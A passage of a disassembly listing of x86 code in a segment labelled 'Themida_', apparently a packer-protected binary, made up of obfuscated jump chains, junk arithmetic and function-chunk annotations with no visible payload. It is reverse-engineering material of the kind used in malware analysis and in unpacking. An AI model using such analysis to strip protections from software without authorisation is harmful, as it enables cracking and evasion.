add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esi
mov esi, 2BD238CEh
jmp loc_5A5767
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CCEB: ; CODE XREF: sub_59390B+11CCFj
mov bp, 5F5Bh
shr bp, 2
shr bp, 5
neg bp
or bp, 3E52h
jmp loc_5992B0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A958
loc_59CD04: ; CODE XREF: sub_59A958-48D0j
mov esp, [esp+0]
add esi, ebp
push edx
mov edx, 2B414E74h
sub esi, 49F94ABAh
add esi, edx
jmp loc_594D26
; END OF FUNCTION CHUNK FOR sub_59A958
; ---------------------------------------------------------------------------
loc_59CD1C: ; CODE XREF: Themida_:005967C2j
add edi, 5866981Ah
add eax, edi
mov edi, [esp]
add esp, 4
add esi, 79314487h
sub esi, 0AE20C01h
add esi, eax
add esi, 0AE20C01h
sub esi, 79314487h
pop eax
add esi, 2
xor esi, [esp]
xor [esp], esi
jmp loc_595907
; ---------------------------------------------------------------------------
loc_59CD56: ; CODE XREF: Themida_:00598B90j
pop ebp
pop dword ptr [esp]
pop esp
sub eax, 27887610h
add eax, ebp
jmp loc_5A4EFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_59CD67: ; CODE XREF: sub_5A0733-6C57j
mov [esp+4+var_4], edi
push 5627h
sub esp, 4
mov [esp+0Ch+var_C], esp
push ebp
mov ebp, 4
jmp loc_5A1505
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
loc_59CD80: ; CODE XREF: Themida_:005A0195j
mov ebp, [esp]
push edx
mov edx, esp
push eax
mov eax, 4
jmp loc_599D3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59CD91: ; CODE XREF: sub_59FCCB-B213j
sub bl, cl
jmp loc_5A23F4
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_59CD98: ; CODE XREF: Themida_:005A34F1j
mov [esp], ecx
jmp loc_59A608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_59CDA0: ; CODE XREF: sub_5A4CDD-1DF2j
mov ecx, 2C292C96h
push ebx
mov ebx, 0CBE07A1h
jmp loc_59DCF6
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CDB0: ; CODE XREF: sub_59390B+12148j
pop dword ptr [esp+0]
push 5D6Eh
jmp loc_59752E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59CDBD: ; CODE XREF: Themida_:005A36E0j
xor dl, 47h
sub dl, 7Bh
add bl, dl
jmp loc_592EDE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B2AF
loc_59CDCA: ; CODE XREF: sub_59B2AF+5DFCj
add ecx, 50D675C1h
shr ecx, 5
xor ecx, 4E9D2C9Fh
sub ebp, ecx
mov ecx, [esp+4+var_4]
add esp, 4
sub esi, 6C930515h
add esi, ebp
jmp loc_5A04C0
; END OF FUNCTION CHUNK FOR sub_59B2AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CDEE: ; CODE XREF: sub_59390B+30A6j
pop edi
jmp loc_5A32DC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59CDF4: ; CODE XREF: Themida_:00593431j
pop edx
xor ecx, 1AC71A3Ch
add edi, 68CC217Ch
sub edi, ecx
push 2CFFh
mov [esp], esi
mov esi, 20341A93h
sub esi, 0B767F917h
add edi, 7B106ECCh
jmp loc_59A021
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CE21: ; CODE XREF: sub_59390B+10FFDj
sub esi, 58417BD7h
not esi
sub esi, 70F46853h
sub eax, esi
pop esi
push eax
mov eax, 4B6802E9h
or eax, 3665807h
add eax, 66D02F39h
xor eax, 0A1E4EB3Fh
add edi, eax
pop eax
jmp loc_5A5641
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59CE4F: ; CODE XREF: Themida_:00591EF6j
mov [esp], ebp
jmp loc_598A17
; ---------------------------------------------------------------------------
loc_59CE57: ; CODE XREF: Themida_:0059B1A8j
sub esp, 4
mov [esp], ebp
push 2
pop ebp
push ecx
mov ecx, 64D43AFAh
or ecx, 1A692CC8h
add ecx, 0D81E322Eh
add edx, ecx
jmp loc_597D68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_59CE7C: ; CODE XREF: sub_595BAD-4C9j
mov edx, [esp-4+arg_0]
add esp, 4
add edi, edx
sub edi, 28F50733h
pop edx
sub edi, 4573456Ah
add edi, ecx
jmp loc_5A1942
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
loc_59CE98: ; CODE XREF: Themida_:0059C754j
mov [esp], esp
jmp loc_592967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59CEA0: ; CODE XREF: sub_59CFD4+704Bj
push [esp+8+var_8]
push [esp+0Ch+var_C]
pop ebx
add esp, 4
sub esp, 4
mov [esp+0Ch+var_C], eax
jmp loc_5A10F7
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_59CEB8: ; CODE XREF: Themida_:0059A83Bj
mov ebp, 24C127F6h
sub ebp, 24C127F2h
jmp loc_59FEB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CEC8: ; CODE XREF: sub_59390B-5D2j
pop edi
mov edx, 5C8C13CBh
xor edx, eax
mov eax, [esp+0]
add esp, 4
jmp loc_59997D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599F38
loc_59CEDE: ; CODE XREF: sub_599F38-160Cj
add ebp, 2
xor ebp, [esp+0]
jmp loc_5953F1
; END OF FUNCTION CHUNK FOR sub_599F38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CEEC: ; CODE XREF: sub_59390B+D5E2j
mov edi, [esp-8+arg_0]
jmp loc_5981A2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_59CEF4: ; CODE XREF: sub_594D13+6j
push esp
pop ecx
push edi
mov edi, 4
jmp loc_5A5BA7
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
loc_59CF01: ; CODE XREF: Themida_:00591A2Ej
mov [esp], edx
jmp loc_59AD93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_59CF09: ; CODE XREF: sub_59EA40-BC68j
add esp, 4
add esi, 4
push ecx
push edi
push 2C7B70EDh
pop edi
jmp loc_5A1D8A
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CF1F: ; CODE XREF: sub_59390B+11AD6j
shl dh, 3
add dh, 1Ah
sub al, dh
pop edx
jmp loc_59BE38
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59CF2D: ; CODE XREF: Themida_:0059A5FBj
mov esp, [esp]
pop dword ptr [esp]
jmp loc_590A9B
; =============== S U B R O U T I N E =======================================
sub_59CF38 proc near ; CODE XREF: sub_5A1E76-1FFDj
; FUNCTION CHUNK AT 00595BA3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059974D SIZE 0000000D BYTES
push ebx
jmp loc_595BA3
sub_59CF38 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2801
loc_59CF3E: ; CODE XREF: sub_5A2801-6912j
add edx, 4
push ecx
mov ecx, 4
jmp loc_5985B7
; END OF FUNCTION CHUNK FOR sub_5A2801
; ---------------------------------------------------------------------------
loc_59CF4F: ; CODE XREF: Themida_:00590B13j
push esi
mov esi, 258C48A7h
shr esi, 1
sub esi, 79F40EC5h
not esi
shr esi, 6
xor esi, 1ECAAE77h
sub edi, esi
pop esi
pop ebx
add edi, 4
xchg edi, [esp]
pop esp
xor bl, al
jmp loc_5A1CFF
; ---------------------------------------------------------------------------
loc_59CF7D: ; CODE XREF: Themida_:00596990j
add esp, 4
push ecx
jmp loc_59D679
; ---------------------------------------------------------------------------
loc_59CF86: ; CODE XREF: Themida_:00599FAFj
mov esp, [esp]
jmp loc_59E115
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_59CF8E: ; CODE XREF: sub_59D1FC+72AEj
xchg esi, [esp+4+var_4]
pop esp
jmp loc_59B7BA
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599F38
loc_59CF97: ; CODE XREF: sub_599F38-35F0j
add [esp+0Ch+var_8], edi
pop edi
jmp loc_591313
; END OF FUNCTION CHUNK FOR sub_599F38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CFA1: ; CODE XREF: sub_59390B+F0A0j
xchg ebx, [esp-0Ch+arg_4]
pop esp
pop ebx
xchg ecx, ebx
not ecx
jmp loc_59229B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59CFAF: ; CODE XREF: Themida_:0059B445j
pop edi
not ebx
xor ebx, 0ED81F4CCh
push ebx
xor dword ptr [esp], 44A6106Dh
pop ebp
xor ebp, 44A6106Dh
pop ebx
add [esp+4], ebp
mov ebp, [esp]
jmp loc_59ADB4
; =============== S U B R O U T I N E =======================================
sub_59CFD4 proc near ; CODE XREF: sub_59390B+299j
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00590B18 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00590C89 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00590E81 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005926DA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592740 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00592E08 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005945F6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00594BE0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00595028 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005950C8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005954D4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595BD0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00595F7A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005969B6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597408 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597C32 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599BDA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059A7E5 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0059AA5C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B825 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059CEA0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059D512 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D6D8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D757 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D878 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059DF29 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059E3A8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059E3DD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059FBB6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A014A SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A0463 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A04AA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A073E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0A4A SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005A108B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A10F7 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 005A359C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A401A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A421C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A571C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A5850 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A58C6 SIZE 00000026 BYTES
sub esp, 4
jmp loc_5945F6
sub_59CFD4 endp
; ---------------------------------------------------------------------------
loc_59CFDC: ; CODE XREF: Themida_:00591D75j
pop ecx
xchg eax, [esp]
mov esp, [esp]
mov ax, [esp]
push esi
push esp
pop esi
jmp loc_599DDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59C8A4
loc_59CFEF: ; CODE XREF: sub_59C8A4-B5F5j
shl eax, 8
sub eax, 21892FFFh
sub ebx, eax
pop eax
inc ebx
shl ebx, 1
push ebp
mov ebp, 0BBD024Ah
sub ebp, 6EA50E00h
and ebp, 97730E9h
jmp loc_592785
; END OF FUNCTION CHUNK FOR sub_59C8A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A21DE
loc_59D014: ; CODE XREF: sub_5A21DE-8866j
shr ebx, 6
add ebx, 0FEBE1F1Eh
jmp loc_5A2FD0
; END OF FUNCTION CHUNK FOR sub_5A21DE
; ---------------------------------------------------------------------------
loc_59D022: ; CODE XREF: Themida_:00593577j
push edx
mov dl, 52h
sub dl, 67h
push ecx
push eax
jmp loc_5A3C7A
; =============== S U B R O U T I N E =======================================
sub_59D02F proc near ; CODE XREF: sub_59333E+A6ADj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005975BB SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00598E14 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D108 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A0641 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A16A9 SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
sub esp, 4
jmp loc_5A16A9
sub_59D02F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595949
loc_59D03D: ; CODE XREF: sub_595949+AB04j
push edi
jmp loc_591326
; END OF FUNCTION CHUNK FOR sub_595949
; ---------------------------------------------------------------------------
loc_59D043: ; CODE XREF: Themida_:0059D1E7j
add ebx, 0AAAA35Ah
mov esi, ebx
pop ebx
xor eax, esi
mov esi, [esp]
add esp, 4
push ebp
jmp loc_5A2E69
; ---------------------------------------------------------------------------
loc_59D05A: ; CODE XREF: Themida_:005A4F4Aj
sub esi, 818AA519h
mov edi, esi
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
push esi
push ebp
jmp loc_59590F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59D075: ; CODE XREF: sub_591FC5+D06j
push cx
push ax
mov al, dh
mov dh, byte ptr [esp+8+var_8+3]
mov byte ptr [esp+8+var_8+3], al
pop ax
xor dh, ah
jmp loc_5A3F83
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D08C: ; CODE XREF: sub_59390B+2B15j
pop esi
add esp, 4
xor ecx, [esp+0]
jmp loc_594B95
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594DA8
loc_59D09B: ; CODE XREF: sub_594DA8+7688j
add esp, 4
xor esi, [esp+4+var_4]
xor [esp+4+var_4], esi
xor esi, [esp+4+var_4]
jmp loc_59B191
; END OF FUNCTION CHUNK FOR sub_594DA8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D0AF: ; CODE XREF: sub_59390B+419Aj
xor esi, 7ABA3997h
jmp loc_59FF74
; ---------------------------------------------------------------------------
loc_59D0BA: ; CODE XREF: sub_59390B+ED66j
dec eax
or eax, 2E8E1F72h
inc eax
add eax, 0D461148Ch
mov ebx, eax
pop eax
not ebx
jmp loc_59A78F
; ---------------------------------------------------------------------------
loc_59D0D0: ; CODE XREF: sub_59390B+A36j
mov ebx, [esp+0Eh+var_10+2]
jmp loc_5A033A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D0D8: ; CODE XREF: Themida_:005A3665j
mov esi, 252E2E3Ch
mov eax, 3F62F58Ch
add eax, esi
jmp loc_594914
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59D0E9: ; CODE XREF: sub_59FD45-8DB2j
shr edx, 1
jmp loc_5A5824
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_59D0F0: ; CODE XREF: sub_5964AF+33DAj
mov [esp-8+arg_4], ecx
jmp loc_59917C
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59D0F8: ; CODE XREF: sub_59FCCB+36A9j
not cl
shl cl, 5
xor cl, 23h
sub bl, 63h
jmp loc_59326D
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D02F
loc_59D108: ; CODE XREF: sub_59D02F+3625j
mov eax, [esp+0Ch+var_C]
add esp, 4
push 6A11h
mov [esp+0Ch+var_C], ebx
sub [esp+0Ch+var_C], 12AC71C2h
jmp loc_5975BB
; END OF FUNCTION CHUNK FOR sub_59D02F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597C8E
loc_59D122: ; CODE XREF: sub_597C8E+B307j
mov [esp+0], esi
jmp loc_59B3EC
; END OF FUNCTION CHUNK FOR sub_597C8E
; ---------------------------------------------------------------------------
loc_59D12A: ; CODE XREF: Themida_:00595C4Cj
sub edi, edx
pop edx
mov eax, edi
pop edi
sub eax, 67C558D9h
xor eax, 0AF0271h
add eax, 26DAF6F7h
add ecx, eax
pop eax
push edx
mov edx, 21AA5CDFh
push esi
mov esi, 7FF95430h
neg esi
xor esi, 4FA178B5h
xor esi, 3CB82F1Dh
inc esi
sub esi, 0C79CD044h
and edx, esi
mov esi, [esp]
jmp loc_59113E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_59D16D: ; CODE XREF: sub_59886E+3F9Cj
pop eax
add ebx, 70C17008h
neg ebx
jmp loc_593A80
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5969DC
loc_59D17B: ; CODE XREF: sub_5969DC-4C7Bj
add edi, 0B34CB76Eh
jmp loc_591667
; END OF FUNCTION CHUNK FOR sub_5969DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59D186: ; CODE XREF: sub_59FCCB-D590j
inc ah
shr ah, 5
jmp loc_598D6D
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_59D190: ; CODE XREF: Themida_:00599519j
mov ecx, [esp]
add esp, 4
jmp loc_5A5308
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5971C0
loc_59D19B: ; CODE XREF: sub_5971C0+29B2j
sub ebx, eax
jmp loc_5A3E2A
; END OF FUNCTION CHUNK FOR sub_5971C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D1A2: ; CODE XREF: sub_59390B+4D34j
sub edx, 5515ADFh
pop eax
add edx, 2
xchg edx, [esp+0]
mov esp, [esp+0]
push bx
push 7BEAh
jmp loc_599B77
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_59D1BE: ; CODE XREF: sub_594A8D+5956j
add ebx, esi
mov esi, [esp+8+var_8]
add esp, 4
push 6E7h
mov [esp+8+var_8], esi
push edi
mov edi, 3A240802h
jmp loc_599651
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
lodsb
jmp loc_59AEA9
; ---------------------------------------------------------------------------
loc_59D1E2: ; CODE XREF: Themida_:00592A94j
mov ebx, 6E5475D9h
jmp loc_59D043
; ---------------------------------------------------------------------------
loc_59D1EC: ; CODE XREF: Themida_:0059271Cj
push eax
mov al, 0F8h
inc al
jmp loc_5A4F1B
; ---------------------------------------------------------------------------
loc_59D1F6: ; CODE XREF: Themida_:005953D6j
pop esi
jmp loc_596F65
; =============== S U B R O U T I N E =======================================
sub_59D1FC proc near ; CODE XREF: sub_59F401-575Cj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00594F87 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595030 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595A1F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596C78 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A1DC SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059A39C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059B7BA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059BFBD SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0059C70F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CF8E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059FEFC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A162E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A18CE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A28EE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A4024 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A449A SIZE 00000015 BYTES
push ebx
mov ebx, 47B25B55h
jmp loc_594F87
sub_59D1FC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59D207: ; CODE XREF: Themida_:005A1968j
inc edi
jmp loc_599171
; ---------------------------------------------------------------------------
loc_59D20D: ; CODE XREF: Themida_:005A25BAj
push eax
push ecx
mov ecx, 11DE5AADh
mov eax, 11DE5AA9h
jmp loc_595421
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D21E: ; CODE XREF: sub_59390B+734Aj
push eax
mov al, 0B8h
shl al, 2
and al, 0DAh
jmp loc_591642
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D22B: ; CODE XREF: Themida_:00598BC4j
mov esi, 29AD5A9Ch
mov edx, esi
pop esi
push esi
jmp loc_5986E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591745
loc_59D239: ; CODE XREF: sub_591745+F5DFj
push esi
not [esp+0Ch+var_C]
pop esi
jmp loc_593DB5
; END OF FUNCTION CHUNK FOR sub_591745
; ---------------------------------------------------------------------------
loc_59D243: ; CODE XREF: Themida_:00594B22j
pop edi
xor edx, edi
push dword ptr [esp]
jmp loc_59B54F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D24E: ; CODE XREF: sub_59390B+5D60j
pop ebx
add esi, 5EDB3F25h
jmp loc_59B41B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_59D25A: ; CODE XREF: sub_5A23FB-889Dj
push edx
mov edx, 37416B39h
jmp loc_59D8A8
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_59D265: ; CODE XREF: sub_59CAFB+3E14j
add esi, edx
jmp loc_595689
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_59D26C: ; CODE XREF: Themida_:0059DB57j
shl eax, 4
jmp loc_598BFB
; ---------------------------------------------------------------------------
loc_59D274: ; CODE XREF: Themida_:005A0FADj
sub ebp, eax
pop eax
jmp loc_59399C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D27C: ; CODE XREF: sub_59390B+10643j
add bl, 38h
mov dx, word ptr [esp+0Ch+var_C]
push 151h
jmp loc_596476
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D28D: ; CODE XREF: Themida_:0059DADAj
mov edx, [esp]
add esp, 4
push ebp
jmp loc_59EAB8
; =============== S U B R O U T I N E =======================================
sub_59D29C proc near ; CODE XREF: sub_595949+AF82j
; FUNCTION CHUNK AT 005A4035 SIZE 00000015 BYTES
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
jmp loc_5A4035
sub_59D29C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D2AA: ; CODE XREF: sub_59390B+D7E7j
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push [esp+14h+var_14]
push [esp+18h+var_18]
pop eax
push edx
push esp
pop edx
sub esp, 4
mov [esp+0], edi
jmp loc_592EA7
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59AB43
loc_59D2CA: ; CODE XREF: sub_59AB43+4B99j
mov ecx, esp
add ecx, 4
jmp loc_5924F8
; END OF FUNCTION CHUNK FOR sub_59AB43
; ---------------------------------------------------------------------------
loc_59D2D7: ; CODE XREF: Themida_:0059AB33j
shl edx, 2
sub esp, 4
mov [esp], eax
jmp loc_597348
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59D2E8: ; CODE XREF: sub_59E918-A39Cj
pop edx
jmp loc_5A2E8A
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_59D2EE: ; CODE XREF: sub_594D13+1CF8j
mov esp, [esp-8+arg_4]
cmp cx, ax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D2FA: ; CODE XREF: sub_59390B+2E0Bj
mov [esp+0], eax
add dword ptr [esp+0], 7EF979BEh
pop edx
push ebx
mov ebx, 7EF979BEh
sub esp, 4
jmp loc_5922F1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D313: ; CODE XREF: Themida_:0059B98Aj
mov esi, 4963018Dh
and esi, 3D7C0EC1h
jmp loc_598544
; ---------------------------------------------------------------------------
loc_59D323: ; CODE XREF: Themida_:0059BAFDj
add ecx, edx
pop edx
xchg ecx, [esp]
jmp loc_5A44F2
; ---------------------------------------------------------------------------
loc_59D32E: ; CODE XREF: Themida_:005A0B02j
push 575Eh
mov [esp], edx
push esp
pop edx
sub esp, 4
mov [esp], ecx
mov ecx, 627B237Ch
shl ecx, 6
and ecx, 1EEB7FCCh
xor ecx, 3F5E34A8h
push ebp
jmp loc_592DDD
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D369: ; CODE XREF: sub_59390B-1EE7j
mov ecx, 4A3301D7h
sub eax, 6ECA5173h
sub eax, ecx
jmp loc_5A0A7E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_59D37A: ; CODE XREF: sub_599AE1+51A7j
xchg edx, [esp+4+var_4]
pop esp
jmp loc_594F29
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_59D383: ; CODE XREF: sub_59A4D6+8A02j
add esp, 4
and eax, edi
jmp loc_5A00D8
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2552
loc_59D390: ; CODE XREF: sub_5A2552-3545j
add eax, 4
add eax, 4
xchg eax, [esp+0]
pop esp
mul ecx
jmp loc_599E8C
; END OF FUNCTION CHUNK FOR sub_5A2552
; ---------------------------------------------------------------------------
loc_59D3A3: ; CODE XREF: Themida_:005A1BFEj
xor ch, 0B2h
sub bh, ch
pop ecx
push edx
jmp loc_59E331
; ---------------------------------------------------------------------------
loc_59D3AF: ; CODE XREF: Themida_:005920A4j
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59D3B4: ; CODE XREF: Themida_:0059995Aj
sub edi, 0C46E4452h
sub eax, edi
pop edi
jmp loc_59FBD4
; ---------------------------------------------------------------------------
loc_59D3C2: ; CODE XREF: Themida_:0059F038j
sub edx, eax
pop eax
add edx, 46302D8h
